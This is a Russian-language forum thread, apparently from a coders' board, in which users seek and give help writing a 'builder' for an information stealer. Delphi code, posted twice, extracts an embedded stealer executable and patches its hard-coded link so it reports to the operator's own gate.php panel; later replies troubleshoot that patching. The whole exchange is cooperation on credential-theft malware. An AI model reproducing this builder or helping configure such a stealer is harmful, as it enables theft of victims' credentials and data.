• Что бы вступить в ряды "Принятый кодер" Вам нужно:
    Написать 10 полезных сообщений или тем и Получить 10 симпатий.
    Для того кто не хочет терять время,может пожертвовать средства для поддержки сервеса, и вступить в ряды VIP на месяц, дополнительная информация в лс.

  • Пользаватели которые будут спамить, уходят в бан без предупреждения. Спам сообщения определяется администрацией и модератором.

  • Гость, Что бы Вы хотели увидеть на нашем Форуме? Изложить свои идеи и пожелания по улучшению форума Вы можете поделиться с нами здесь. ----> Перейдите сюда
  • Все пользователи не прошедшие проверку электронной почты будут заблокированы. Все вопросы с разблокировкой обращайтесь по адресу электронной почте : info@guardianelinks.com . Не пришло сообщение о проверке или о сбросе также сообщите нам.

Помощь в коде Люди Кто Может Помочь Создать Builder К Стилеру ?

я пока только Stiller настроил, на работе неразгонишся чтото делать
 
я пока только Stiller настроил, на работе неразгонишся чтото делать
Здраствуйте, ну что там вы уже исправили ошыбку из за которой он не роботал ? или у вас ещё времени нету ?
 
Код:
{$R Stiller.RES}
{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
 ResStream: TResourceStream;
 FileName, oldstring, newstring, s: string;
 f: file;
 l: Longint;
 go:boolean;
begin
 label1.caption:='wait';
 Application.ProcessMessages;
 FileName := 'Stiller.exe';

 ResStream:=TResourceStream.Create(HInstance,'ARJ','EXEFILE');
 ResStream.SaveToFile(ExtractFilePath(Application.ExeName)+FileName);
 ResStream.Free;

 oldstring := Edit2.Text;  Заменяемая ссылка 
 newstring := Edit1.Text; Ссылка в программе  ( число символов должно быть одинаковая)

 s := oldstring;
 AssignFile(f, FileName);
 Reset(f, 2);
 l:=0;
 go:=true;
 while( l<=(FileSize(f) - Length(oldstring) - 1)) and go do
  begin
   Seek(f, l);
   BlockRead(f, oldstring[1], Length(oldstring));
   if oldstring = s then
    begin
     seek(f, l);
     BlockWrite(f, newstring[1], Length(newstring));
     go:=false;
    end;
   inc(l);
  end;
 CloseFile(f);
 label1.caption:='ok';
end;
 
Код:
{$R Stiller.RES}
{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
 ResStream: TResourceStream;
 FileName, oldstring, newstring, s: string;
 f: file;
 l: Longint;
 go:boolean;
begin
 label1.caption:='wait';
 Application.ProcessMessages;
 FileName := 'Stiller.exe';

 ResStream:=TResourceStream.Create(HInstance,'ARJ','EXEFILE');
 ResStream.SaveToFile(ExtractFilePath(Application.ExeName)+FileName);
 ResStream.Free;

 oldstring := Edit2.Text;  Заменяемая ссылка
 newstring := Edit1.Text; Ссылка в программе  ( число символов должно быть одинаковая)

 s := oldstring;
 AssignFile(f, FileName);
 Reset(f, 2);
 l:=0;
 go:=true;
 while( l<=(FileSize(f) - Length(oldstring) - 1)) and go do
  begin
   Seek(f, l);
   BlockRead(f, oldstring[1], Length(oldstring));
   if oldstring = s then
    begin
     seek(f, l);
     BlockWrite(f, newstring[1], Length(newstring));
     go:=false;
    end;
   inc(l);
  end;
 CloseFile(f);
 label1.caption:='ok';
end;
Спасибо Большое всё роботает, правда есть маленький минус, я не могу понять а почему оно так долго билдит стаб ? он после нажатие на build зависает на 20 секунд
 
Последнее редактирование:
но если на другой сайт указать ссылку на gate.php То он не роботает
 
Ты должен прописать точно что ты заменяешь и длина строки должна быть не меньше заменяемого
 
Ты должен прописать точно что ты заменяешь и длина строки должна быть не меньше заменяемого
тоисть как я понял то в edit 1 я ввожу ссылку ту что уже была в стилере вставлена а в edit 2 я ввожу свою новую ссылку ? правельно я понял или нет ?
 
ты много раз нажал на выполнение
 
Вверх Снизу